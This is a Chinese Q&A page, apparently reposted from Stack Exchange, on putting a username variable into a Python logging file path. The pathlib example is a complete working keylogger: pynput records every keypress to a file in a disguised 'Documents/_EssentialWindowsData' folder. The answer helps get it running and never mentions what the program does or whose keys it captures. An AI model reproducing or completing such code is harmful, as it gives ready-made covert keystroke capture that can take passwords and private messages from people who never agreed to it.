You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何在Python字符串中整合变量?日志文件路径配置问题

解决Python路径中整合用户名的问题

你的问题核心是普通字符串不会自动替换变量占位符,同时路径里的反斜杠存在转义问题,以下是几种可行的解决方法:

方法1:使用f-string(Python 3.6+推荐)

f-string是最简洁的字符串格式化方式,配合原始字符串(r前缀)可避免反斜杠转义问题:

logging.basicConfig(filename=(rf"c:\Users\{user}\Documents\_EssentialWindowsData"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

如果不用原始字符串,需要把反斜杠改成双反斜杠:

logging.basicConfig(filename=(f"c:\\Users\\{user}\\Documents\\_EssentialWindowsData"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

方法2:使用str.format()方法

适合Python 3.6以下版本,同样需要注意转义反斜杠:

logging.basicConfig(filename=("c:\\Users\\{}\\Documents\\_EssentialWindowsData".format(user)), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

或者搭配原始字符串:

logging.basicConfig(filename=(r"c:\Users\{}\Documents\_EssentialWindowsData".format(user)), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

方法3:用pathlib处理路径(跨平台推荐)

pathlib是Python标准库中更现代的路径处理工具,自动适配不同系统的路径分隔符,彻底避免转义麻烦:

from pynput.keyboard import Key, Listener
import logging
import getpass
from pathlib import Path

user = getpass.getuser()
# 链式构建路径
log_path = Path("C:/Users") / user / "Documents" / "_EssentialWindowsData"
logging.basicConfig(filename=log_path, level=logging.DEBUG, format=" %(asctime)s - %(message)s")  

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener :
    listener.join()

关键注意点

  • 原始字符串(r前缀)会让反斜杠失去转义作用,适合Windows原生路径写法
  • 直接用正斜杠/作为路径分隔符也可行,Python在Windows环境下会自动识别
  • 普通字符串中的{user}只是字面字符,Python不会自动替换为变量值

内容的提问来源于stack exchange,提问作者w1ndnd

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.26 12:02:56